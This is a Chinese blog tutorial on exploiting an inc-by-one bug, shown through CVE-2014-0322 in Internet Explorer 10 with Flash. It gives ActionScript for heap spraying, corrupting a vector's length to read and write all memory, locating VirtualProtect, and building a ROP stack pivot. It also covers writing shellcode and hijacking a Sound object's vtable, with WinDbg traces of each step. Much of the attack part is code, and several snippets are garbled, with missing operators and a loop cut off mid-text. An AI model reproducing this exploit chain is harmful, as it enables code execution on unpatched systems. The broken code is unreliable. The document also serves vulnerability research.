当前位置:首页 > 文章中心 > 正文内容

inc-by-one之高级漏洞利用技术

dgx6664个月前 (03-14)文章中心28

Author:Netfairy

0x00 前言

什么是inc-by-one?比如有这样的一条指令:inc dword ptr[eax+8],这条指令执行的效果是使eax+8地址处的值加1,类似于c语言*(eax+8) = *(eax+8) +1,如果我们可以控制eax的值,那么这就是一个inc-by-one漏洞。

0x01 利用方法

1.布置堆内存

这里我以CVE-2014-0322为例子介绍,网上已有相关的漏洞原理介绍,本文介绍这种类型的漏洞利用方法,这是一个存在于ie10的uaf漏洞,尽管这个漏洞本身存在于IE 里面,但是为了实现成功利用,借用了flash作为辅助,来突破各种防护。打开poc,结果如下

要利用这个漏洞,首先我们利用ActionScript在堆上分配大量的Vector.uint,长度是0x3fe,因为每个Vector.uint有8字节BlockHeader,其中前4个字节是size字段。0x3fe*4+8=0x1000,所以每个Vector.uint之间紧邻,不会留下空隙。

#!cppthis.s = newVector.Object(0x10000); while ( len 0x10000 ){ this.s[len]= new Vector.uint(0x1000 / 4 - 2); //0x3fe for(i=0; i this.s[len].length; i++) { this.s[len][i]= 0x1a1a1a1a; } ++len;}

HeapSpray之后内存分布图

0x1a1b2000是其中一个Vector.uint,我把它命名为v1,0x1a1b3000为v2,以此类推。0x3fe是Vector.uint的大小。。

2.触发inc-by-one漏洞,修改size,读写整个地址空间

通过ie的触发uaf漏洞,重新分配内存占据已经被释放的对象,我们可以控制inc-by-one的目标地址,本文我们对0x1a1b2000处的v1的size字段加1,结果如下

V1的size被修改为0x3ff后,那么通过v1可以往后多访问四个字节(uint),刚好能访问到v2的size字段,也就是说v2的size字段可以被v1访问并修改,那么,如果我们把v2的size字段修改为一个很大的值,通过v2,我们就能读写整个进程地址空间。

#!cppwhile (v1 < 0x10000){ try { if (this.s[v1].length == 0x3ff) //v1本来0x3fe,漏洞触发后v1的size被修改为0x3ff { this.s[v1][0x3fe] = 0x3fffffff; //修改v2的size为0x3fffffff break; } } catch(e:Error) { }; v1 = (v1 + 1);};

3.喷射sound对象,便于后面的利用

因为flash是高级语言,我们无法直接操作内存,不能直接控制eip指向,但是高级语言的对象有一个虚表的东西,里面保存着虚函数的地址。如果我们能修改虚表指针指向另外一块可控内存,在这块内存写入我们shellcode的地址,一旦我们调用虚函数,实际上就会调用我们的shellcode。

为此我们用下面的代码布局sound对象

#!cppthis.sound = new Sound;this.spraysound = newVector.Object(0x100);len = 0; while (len 0x100){ this.spraysound[len]= new Vector.Object(0x1234); for(i=0; i this.spraysound[len].length; i++) { this.spraysound[len][i]= this.sound; } ++len;}

喷射结果如下

#!bash22490024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f13024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f18024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f1d024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f22024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f27024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.

实际上,22f03021是sound对象地址加1,通过修改sound对象的虚表指针,一旦我们调用test函数,实际上执行的是shellcode。

4.信息搜集

前面我们通过v2得到任意内存读写,在覆盖虚表指针,调用虚函数执行shellcode之前,还需要解决DEP保护。现在ie都启用了DEP保护

要关闭DEP,可以用VirtualProtect。那么,首先需要找到这个函数的地址。VirtualProtect由kernel32.dll导出,正好,flash模块的导入表有kernel32.dll,搜索IAT即可定位VirtualProtect。那么,首先要得到flash模块导入表的地址,那么我们得先知道flash模块的基址。这里我们我们通过flash的一个虚表指针往回暴力搜索pe头定位flash基址。而通过v2我们可以定位到一个虚表指针,总的来说,这个过程如下

Stack_pivot(xchg eax,esp;retn)后面我们会看到它的作用。首先搜索v2

#!cppv2 = 0;for (v2=0; v2 < this.s.length; v2++){ if (this.s[v2].length == 0x3FFFFFFF) //v2的size为0x3ffffff { break; }}

然后搜索一个flash虚表指针

#!cppj=0;while(i这里有必要解释一下,前面我们喷射了sound对象,在22490024-0x24内存如下#!bash22490000 00010c00 00004fe0 0fdf30000fde706822490010 22f03000 22490018 000000100000000022490020 61c0d2d4 00001234 22f0302122f0302122490030 22f03021 22f03021 22f0302122f0302122490040 22f03021 22f03021 22f0302122f0302122490050 22f03021 22f03021 22f0302122f03021Sound对象(22f03021)前面是0x00001234,再前面的0x61c0d2d4是flash一个虚表指针,虚表指针前面有一个标志,就是0x00010c00 通过这个flash虚表指针,暴力搜索flash基址#!cpptemp=vtable & 0xffff0000;while(1){ if (this.s[v2][(temp-0x1a1b3000)/4-2] == 0x00905A4D) //-2因为8个字节的Blockheader { baseflashaddr = temp; break; } temp=temp-0x1000;}得到flash基址后,搜索VirtualProtect和stack_privot地址#!cpp//获取导入表 peindex = this.s[v2][(baseflashaddr+0x3C-0x1a1b3000)/4-2]; importsindex = this.s[v2][(baseflashaddr+peindex+0x80-0x1a1b3000)/4-2]; //得到 VirtualProtect地址vp_addr = getVpAddr; //搜索stack_pivot地址i=0;while(1){ stackpivot = baseflashaddr+0x8a000+i; //从偏移0x8a000开始搜索 try { if ( (readInt(stackpivot)&0x0000ffff) == 0xC394 ) { break; } } catch(e:Error) { }; i++;}5.布置shellcode通过v2,把以上获取到的信息写入某个地址。首先写入stack_privot,执行后esp指向可控内存。然后写入VirtualProtect地址和它的参数,执行后关闭DEP。最后面写入shellcode,DEP关闭后转入shellcode执行。#!cpp//第一阶段shellcode:ROPwriteInt(0x1a1b3078,stackpivot); this.s[v2][0] =vp_addr //VirtualProtect地址this.s[v2][1] =0x1a1b4008 //设置为shellcodee的地址就可以了this.s[v2][2] =0x1a1b4008 //参数一:shellcode所在内存空间起始地址this.s[v2][3] =0x4000 //参数二:shellcode大小this.s[v2][4] =0x40 //参数三:0x40this.s[v2][5] =0x1a1b2008; //参数四:某个可写地址//第二阶段shellcode:任意代码writeInt(0x1a1b4008,0x0089E8FC);writeInt(0x1a1b400c,0x89600000);writeInt(0x1a1b4010,0x64D231E5);……6.修改sound对象虚表指针#!cppvar dec:uint = 0;var soundobjref:uint = 0;while (1){ soundobjref = this.s[v2][soundindex+0x0A]; //VA:sound对象的地址+1 if(writeInt(soundobjref-1,0x1a1b3008) == 1) //修改虚表指针为0x1a1b3008 { break; } else {
flash.external.ExternalInterface.call('alert',"Write vtable pointer failed and exploit falied..."); } break;}前面我们把shellcode布置在0x1a1b3078,这里为什么把虚表指针修改为0x1a1b3008呢?大家看

实际上是call[eax+0x70],eax就是虚表指针。7.调用虚函数,执行shellcode#!cppthis.sound.toString;0x02 动态调试为了模拟真实的攻击情景,搭建web服务器。用windbg附加ie,在Flash32_17_0_0_134!
IAEModule_IAEKernel_UnloadModule+0xdfaa2(是具体情况而定)下断点访问html文件

中断调试器,查看此时的v1,也就是0x1a1b2000

这是未触发漏洞前v1的size,为0x3fe。继续运行ExternalInterface.call(exevl);调用html文件里的exevl函数,此函数触发uaf漏洞

exevl函数执行完返回flash后,再看此时的v1,size字段成功被加1。

继续运行,通过v1修改v2的size字段this.s[v1][0x3fe] = 0x3fffffff; //修改v2'size为0x3fffffff

中断调试器,此时的v2的size字段已经被修改为0x3fffffff,这意味着我们可以访问很大一块内存地址空间

继续运行

中断调试器,用s -d 0x0 l?0x7fffffff 0x00001234搜索喷射的sound对象,前面有一些并不是,后面会比较连续的出现sound对象引用

下面的道理一样,我就不逐一截图了。最后来到这里
flash.external.ExternalInterface.call('alert',startto run calc?);

点击确定之后会调用sound对象的虚函数#!cpp//调用虚函数,触发
shellcodethis.sound.toString;widbg中断

从图中可以看到,程序会跳转到0x6257adf8地址执行,这个地址是#!bash6257adf894xchg eax,esp6257adf9c3ret执行xchgeax,sp后,esp=0x1a1b30008。我们看下0x1a1b3008处#!bash0:016 dd 0x1a1b30081a1b3008 774e2c15 1a1b4008 1a1b4008000040001a1b3018 00000040 1a1b2008 1a1a1a1a1a1a1a1a1a1b3028 1a1a1a1a 1a1a1a1a 1a1a1a1a1a1a1a1a……然后retn相当于jmp 0x774e2c15,即调用VirtualProtect#!cppkernel32!
VirtualProtect:774e2c158bff movedi,edi774e2c1755push ebp774e2c188becmov ebp,esp774e2c1a5dpop ebp774e2c1be9b8f4fbff jmpkernel32!CreateProcessA+0x56 (774a20d8)774e2c20 90nop……0x774e2c15后1a1b4008是VirtualProtect的返回地址,其实就是shellcode的地址

VirtualProtect完成设置shellcode所在内存为可执行,VirtualProtect返回之后调用shellcode完成漏洞利用

0x03 参考CVE-2014-0322 0day Exploit分析Flash Vector漏洞利用的蜕变

扫描二维码推送至手机访问。

版权声明:本文由第六芝士网发布,如需转载请注明出处。

本文链接:http://www.dgx666.com/post/284.html

分享给朋友:

“inc-by-one之高级漏洞利用技术” 的相关文章

安装CAD时,提示错误1406,无法将值写入主键,怎么解决?

安装CAD时,提示错误1406,无法将值写入主键,怎么解决?有三种方法。方法一1、右键点击开始→【运行】中输入:regedit 按回车键之后,打开注册表编辑器。2、依次定位到:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft3、继续:Microsoft\Windows NT...

CAD2014到2023版哪个版更稳定好用?

CAD软件的发展是一个持续的过程,每个版本都在不断地改进和优化。因此,无法简单地回答CAD2014到2023版哪个版本更稳定好用这个问题,因为每个版本都有其自身的优点和缺点。CAD2014:是一款经典的设计软件,具有简单易用的界面和强大的功能。它支持多种文件格式,包括DWG和DXF。CAD2014提...

CAD打印怎么设置黑白?一文教会你CAD打印黑白图纸

CAD设计过程中,为了区分图纸中各个图形对象使其看起来更加直观,方便二次编辑,通常会用不同颜色来标识不同的内容。但在CAD打印时并不需要将这些颜色全部打印出来,只需要黑白打印即可。那么,你知道CAD打印怎么设置黑白吗?本文小编就以浩辰CAD软件为例来给大家分享一下CAD打印怎么设置黑白吧!CAD打印...

COD20使命召唤20Directx错误、DX报错的解决方法

《使命召唤20(COD 20)》是一款第 一人称射击游戏。该游戏将于11月10日上线,并且从昨天(10月15日)开始就在进行公测了,玩家小伙伴应该已经迫不及待进入体验了,今天豆沙就带大家解决一下游玩过程中遇到的Directx错误、DX报错问题吧。解决方法一:升级电脑配置电脑配置是进行游戏游玩的一个重...

找不到msvcp110.dll如何处理?三个办法快速解决!

Windows 操作系统在日常使用的电脑中广泛使用,越来越多的用户在使用电脑时遇到了计算机丢失 msvcr110.dll 的问题。msvcr110.dll丢失 是 Windows 操作系统中的一个动态链接库文件,它包含了许多常用的 C 运行库函数。当你的计算机丢失 msvcr110.dll 时,可能...

去哪能安全、免费下载到正版的office?

嗨,各位木友们好呀,我是小木。我下载软件时有一个习惯,那就是尽量去软件官网找下载链接。有些软件,比如像腾讯、阿里系的,你一上官网就能看到醒目的下载链接,安全又便捷:但是有些软件,比如像微软的office,我保证等你找到链接时,你男朋友都跟人跑了…因此,此时很多人就会去各种奇奇怪怪的网站找下载链接,可...